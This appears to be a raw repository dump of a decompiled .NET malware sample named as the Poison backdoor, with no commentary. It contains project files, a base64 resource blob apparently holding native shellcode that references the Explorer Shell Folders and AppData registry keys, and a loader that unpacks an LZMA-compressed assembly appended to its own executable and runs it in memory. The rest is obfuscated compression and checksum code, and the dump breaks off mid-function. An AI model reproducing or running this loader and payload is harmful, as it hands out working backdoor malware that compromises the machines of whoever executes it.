||||
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
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "!", "Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.csproj", "{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using \u0001\u0004;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0001
|
||||
{
|
||||
internal class \u0001\u0015
|
||||
{
|
||||
public byte[] \u0001\u0016(Stream inStream)
|
||||
{
|
||||
MemoryStream outStream = new MemoryStream();
|
||||
byte[] numArray = new byte[5];
|
||||
if (inStream.Read(numArray, 0, 5) != 5)
|
||||
throw new Exception("Err");
|
||||
\u0006\u0005 obj = new \u0006\u0005();
|
||||
obj.\u0002\u000C(numArray);
|
||||
long outSize = 0;
|
||||
for (int index = 0; index < 8; ++index)
|
||||
{
|
||||
int num = inStream.ReadByte();
|
||||
if (num < 0)
|
||||
throw new Exception("Err");
|
||||
outSize |= (long) (byte) num << 8 * index;
|
||||
}
|
||||
long inSize = inStream.Length - inStream.Position;
|
||||
obj.\u0007\u000D(inStream, (Stream) outStream, inSize, outSize, (\u0002\u0002) null);
|
||||
return outStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0001;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace \u0001\u0001
|
||||
{
|
||||
internal class \u0002\u0009
|
||||
{
|
||||
internal static int \u0002\u000A = 36864;
|
||||
|
||||
[STAThread]
|
||||
private static void \u0002\u000E(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002\u0009.myResolveEventHandler);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
object[] parameters = new object[1]{ (object) args };
|
||||
MemoryStream inStream = new MemoryStream();
|
||||
Stream stream = (Stream) new FileStream(Application.ExecutablePath.Substring(Application.ExecutablePath.LastIndexOf('\\') + 1), FileMode.Open, FileAccess.Read);
|
||||
stream.Position = (long) \u0002\u0009.\u0002\u000A;
|
||||
byte[] buffer = new byte[stream.Length - (long) \u0002\u0009.\u0002\u000A];
|
||||
stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
|
||||
inStream.Write(buffer, 0, buffer.Length);
|
||||
inStream.Seek(0L, SeekOrigin.Begin);
|
||||
Assembly assembly = Assembly.Load(new \u0001\u0015().\u0001\u0016((Stream) inStream));
|
||||
try
|
||||
{
|
||||
assembly.EntryPoint.Invoke((object) null, parameters);
|
||||
}
|
||||
catch
|
||||
{
|
||||
assembly.EntryPoint.Invoke((object) null, (object[]) null);
|
||||
}
|
||||
}
|
||||
|
||||
private static Assembly myResolveEventHandler(object sender, ResolveEventArgs args)
|
||||
{
|
||||
string path = "_" + args.Name.ToString().Trim().Split(',')[0].ToString().Trim() + ".dll";
|
||||
MemoryStream inStream = new MemoryStream();
|
||||
Stream stream = (Stream) new FileStream(path, FileMode.Open, FileAccess.Read);
|
||||
byte[] buffer = new byte[stream.Length];
|
||||
stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
|
||||
inStream.Write(buffer, 0, buffer.Length);
|
||||
inStream.Seek(0L, SeekOrigin.Begin);
|
||||
return Assembly.Load(new \u0001\u0015().\u0001\u0016((Stream) inStream));
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
public enum \u0001\u0008
|
||||
{
|
||||
\u0001\u000A = 1024, // 0x00000400
|
||||
\u0001\u0014 = 1025, // 0x00000401
|
||||
\u0001\u0012 = 1026, // 0x00000402
|
||||
\u0001\u0013 = 1088, // 0x00000440
|
||||
\u0001\u000C = 1089, // 0x00000441
|
||||
\u0001\u000D = 1090, // 0x00000442
|
||||
\u0001\u0010 = 1104, // 0x00000450
|
||||
\u0001\u0017 = 1105, // 0x00000451
|
||||
\u0001\u0011 = 1120, // 0x00000460
|
||||
\u0001\u0009 = 1136, // 0x00000470
|
||||
\u0001\u000F = 1152, // 0x00000480
|
||||
\u0001\u000B = 1168, // 0x00000490
|
||||
}
|
||||
}
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using System;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal class \u0001\u0018
|
||||
{
|
||||
public static readonly uint[] \u0002 = new uint[256];
|
||||
private uint \u0001\u001F = uint.MaxValue;
|
||||
|
||||
static \u0001\u0018()
|
||||
{
|
||||
for (uint index1 = 0; index1 < 256U; ++index1)
|
||||
{
|
||||
uint num = index1;
|
||||
for (int index2 = 0; index2 < 8; ++index2)
|
||||
{
|
||||
if (((int) num & 1) != 0)
|
||||
num = num >> 1 ^ 3988292384U;
|
||||
else
|
||||
num >>= 1;
|
||||
}
|
||||
\u0001\u0018.\u0002[(IntPtr) index1] = num;
|
||||
}
|
||||
}
|
||||
|
||||
public void \u0001\u001B() => this.\u0001\u001F = uint.MaxValue;
|
||||
|
||||
public void \u0001\u001C(byte b) => this.\u0001\u001F = \u0001\u0018.\u0002[(int) (byte) this.\u0001\u001F ^ (int) b] ^ this.\u0001\u001F >> 8;
|
||||
|
||||
public void \u0001\u001D(byte[] data, uint offset, uint size)
|
||||
{
|
||||
for (uint index = 0; index < size; ++index)
|
||||
this.\u0001\u001F = \u0001\u0018.\u0002[(int) (byte) this.\u0001\u001F ^ (int) data[(IntPtr) (offset + index)]] ^ this.\u0001\u001F >> 8;
|
||||
}
|
||||
|
||||
public uint \u0001\u001A() => this.\u0001\u001F ^ uint.MaxValue;
|
||||
|
||||
private static uint \u0001\u0019(byte[] data, uint offset, uint size)
|
||||
{
|
||||
\u0001\u0018 obj = new \u0001\u0018();
|
||||
obj.\u0001\u001D(data, offset, size);
|
||||
return obj.\u0001\u001A();
|
||||
}
|
||||
|
||||
private static bool \u0001\u001E(uint digest, byte[] data, uint offset, uint size) => (int) \u0001\u0018.\u0001\u0019(data, offset, size) == (int) digest;
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal class \u0002\u0001 : ApplicationException
|
||||
{
|
||||
public \u0002\u0001()
|
||||
: base("Data Error")
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
public interface \u0002\u0002
|
||||
{
|
||||
void \u0002\u0003(long inSize, long outSize);
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
public interface \u0002\u0004
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal class \u0002\u0005 : ApplicationException
|
||||
{
|
||||
public \u0002\u0005()
|
||||
: base("Invalid Parameter")
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
public interface \u0002\u0006
|
||||
{
|
||||
void \u0002\u000B(\u0001\u0008[] propIDs, object[] properties);
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
public interface \u0002\u0007
|
||||
{
|
||||
void \u0002\u000C(byte[] properties);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
public interface \u0002\u0008
|
||||
{
|
||||
void \u0002\u000D(Stream outStream);
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .I
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0003;
|
||||
|
||||
namespace \u0001\u0003
|
||||
{
|
||||
internal interface I\u0001\u000E : \u0003\u0011
|
||||
{
|
||||
void \u0002\u0010(
|
||||
uint historySize,
|
||||
uint keepAddBufferBefore,
|
||||
uint matchMaxLen,
|
||||
uint keepAddBufferAfter);
|
||||
|
||||
uint \u0002\u0012(uint[] distances);
|
||||
|
||||
void \u0002\u001B(uint num);
|
||||
}
|
||||
}
|
||||
+372
@@ -0,0 +1,372 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using \u0001\u0003;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0003
|
||||
{
|
||||
public class \u0002\u000F : \u0003\u0012, I\u0001\u000E, \u0003\u0011
|
||||
{
|
||||
private const uint \u0003\u0008 = 1024;
|
||||
private const uint \u0003\u000A = 65536;
|
||||
private const uint \u0003\u0005 = 65536;
|
||||
private const uint \u0003\u000E = 1;
|
||||
private const uint \u0003\u0009 = 1024;
|
||||
private const uint \u0003\u0006 = 0;
|
||||
private const uint \u0003\u000B = 2147483647;
|
||||
private uint \u0002\u001D;
|
||||
private uint \u0002\u001E;
|
||||
private uint \u0003\u0002;
|
||||
private uint[] \u0003\u0003;
|
||||
private uint[] \u0002\u001F;
|
||||
private uint \u0002\u001C = (uint) byte.MaxValue;
|
||||
private uint \u0003;
|
||||
private uint \u0003\u0001;
|
||||
private bool \u0003\u0004 = true;
|
||||
private uint \u0003\u000D;
|
||||
private uint \u0003\u000C = 4;
|
||||
private uint \u0003\u0007 = 66560;
|
||||
|
||||
public void \u0002\u001A(int numHashBytes)
|
||||
{
|
||||
this.\u0003\u0004 = numHashBytes > 2;
|
||||
if (this.\u0003\u0004)
|
||||
{
|
||||
this.\u0003\u000D = 0U;
|
||||
this.\u0003\u000C = 4U;
|
||||
this.\u0003\u0007 = 66560U;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.\u0003\u000D = 2U;
|
||||
this.\u0003\u000C = 3U;
|
||||
this.\u0003\u0007 = 0U;
|
||||
}
|
||||
}
|
||||
|
||||
public new void \u0002\u0019(Stream stream) => base.\u0002\u0019(stream);
|
||||
|
||||
public new void \u0002\u0017() => base.\u0002\u0017();
|
||||
|
||||
public new void \u0001\u001B()
|
||||
{
|
||||
base.\u0001\u001B();
|
||||
for (uint index = 0; index < this.\u0003\u0001; ++index)
|
||||
this.\u0002\u001F[(IntPtr) index] = 0U;
|
||||
this.\u0002\u001D = 0U;
|
||||
this.\u0003\u0016(-1);
|
||||
}
|
||||
|
||||
public new void \u0002\u0015()
|
||||
{
|
||||
if (++this.\u0002\u001D >= this.\u0002\u001E)
|
||||
this.\u0002\u001D = 0U;
|
||||
base.\u0002\u0015();
|
||||
if (this.\u0003\u001E != (uint) int.MaxValue)
|
||||
return;
|
||||
this.\u0003\u0010();
|
||||
}
|
||||
|
||||
public new byte \u0002\u0011(int index) => base.\u0002\u0011(index);
|
||||
|
||||
public new uint \u0002\u0013(int index, uint distance, uint limit) => base.\u0002\u0013(index, distance, limit);
|
||||
|
||||
public new uint \u0002\u0014() => base.\u0002\u0014();
|
||||
|
||||
public void \u0002\u0010(
|
||||
uint historySize,
|
||||
uint keepAddBufferBefore,
|
||||
uint matchMaxLen,
|
||||
uint keepAddBufferAfter)
|
||||
{
|
||||
if (historySize > 2147483391U)
|
||||
throw new Exception();
|
||||
this.\u0002\u001C = 16U + (matchMaxLen >> 1);
|
||||
uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U;
|
||||
this.\u0002\u0010(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv);
|
||||
this.\u0003\u0002 = matchMaxLen;
|
||||
uint num1 = historySize + 1U;
|
||||
if ((int) this.\u0002\u001E != (int) num1)
|
||||
this.\u0003\u0003 = new uint[(IntPtr) ((this.\u0002\u001E = num1) * 2U)];
|
||||
uint num2 = 65536;
|
||||
if (this.\u0003\u0004)
|
||||
{
|
||||
uint num3 = historySize - 1U;
|
||||
uint num4 = num3 | num3 >> 1;
|
||||
uint num5 = num4 | num4 >> 2;
|
||||
uint num6 = num5 | num5 >> 4;
|
||||
uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue;
|
||||
if (num7 > 16777216U)
|
||||
num7 >>= 1;
|
||||
this.\u0003 = num7;
|
||||
num2 = num7 + 1U + this.\u0003\u0007;
|
||||
}
|
||||
if ((int) num2 == (int) this.\u0003\u0001)
|
||||
return;
|
||||
this.\u0002\u001F = new uint[(IntPtr) (this.\u0003\u0001 = num2)];
|
||||
}
|
||||
|
||||
public uint \u0002\u0012(uint[] distances)
|
||||
{
|
||||
uint num1;
|
||||
if (this.\u0003\u001E + this.\u0003\u0002 <= this.\u0004)
|
||||
{
|
||||
num1 = this.\u0003\u0002;
|
||||
}
|
||||
else
|
||||
{
|
||||
num1 = this.\u0004 - this.\u0003\u001E;
|
||||
if (num1 < this.\u0003\u000C)
|
||||
{
|
||||
this.\u0002\u0015();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
uint num2 = 0;
|
||||
uint num3 = this.\u0003\u001E > this.\u0002\u001E ? this.\u0003\u001E - this.\u0002\u001E : 0U;
|
||||
uint index1 = this.\u0003\u0019 + this.\u0003\u001E;
|
||||
uint num4 = 1;
|
||||
uint index2 = 0;
|
||||
uint num5 = 0;
|
||||
uint num6;
|
||||
if (this.\u0003\u0004)
|
||||
{
|
||||
uint num7 = \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) index1]] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)];
|
||||
index2 = num7 & 1023U;
|
||||
uint num8 = num7 ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 2U)] << 8;
|
||||
num5 = num8 & (uint) ushort.MaxValue;
|
||||
num6 = (num8 ^ \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) (index1 + 3U)]] << 5) & this.\u0003;
|
||||
}
|
||||
else
|
||||
num6 = (uint) this.\u0003\u0018[(IntPtr) index1] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)] << 8;
|
||||
uint num9 = this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num6)];
|
||||
if (this.\u0003\u0004)
|
||||
{
|
||||
uint num10 = this.\u0002\u001F[(IntPtr) index2];
|
||||
uint num11 = this.\u0002\u001F[(IntPtr) (1024U + num5)];
|
||||
this.\u0002\u001F[(IntPtr) index2] = this.\u0003\u001E;
|
||||
this.\u0002\u001F[(IntPtr) (1024U + num5)] = this.\u0003\u001E;
|
||||
if (num10 > num3 && (int) this.\u0003\u0018[(IntPtr) (this.\u0003\u0019 + num10)] == (int) this.\u0003\u0018[(IntPtr) index1])
|
||||
{
|
||||
uint[] numArray1 = distances;
|
||||
int num12 = (int) num2;
|
||||
uint num13 = (uint) (num12 + 1);
|
||||
uint index3 = (uint) num12;
|
||||
int num14;
|
||||
num4 = (uint) (num14 = 2);
|
||||
numArray1[(IntPtr) index3] = (uint) num14;
|
||||
uint[] numArray2 = distances;
|
||||
int num15 = (int) num13;
|
||||
num2 = (uint) (num15 + 1);
|
||||
uint index4 = (uint) num15;
|
||||
int num16 = (int) this.\u0003\u001E - (int) num10 - 1;
|
||||
numArray2[(IntPtr) index4] = (uint) num16;
|
||||
}
|
||||
if (num11 > num3 && (int) this.\u0003\u0018[(IntPtr) (this.\u0003\u0019 + num11)] == (int) this.\u0003\u0018[(IntPtr) index1])
|
||||
{
|
||||
if ((int) num11 == (int) num10)
|
||||
num2 -= 2U;
|
||||
uint[] numArray3 = distances;
|
||||
int num17 = (int) num2;
|
||||
uint num18 = (uint) (num17 + 1);
|
||||
uint index5 = (uint) num17;
|
||||
int num19;
|
||||
num4 = (uint) (num19 = 3);
|
||||
numArray3[(IntPtr) index5] = (uint) num19;
|
||||
uint[] numArray4 = distances;
|
||||
int num20 = (int) num18;
|
||||
num2 = (uint) (num20 + 1);
|
||||
uint index6 = (uint) num20;
|
||||
int num21 = (int) this.\u0003\u001E - (int) num11 - 1;
|
||||
numArray4[(IntPtr) index6] = (uint) num21;
|
||||
num10 = num11;
|
||||
}
|
||||
if (num2 != 0U && (int) num10 == (int) num9)
|
||||
{
|
||||
num2 -= 2U;
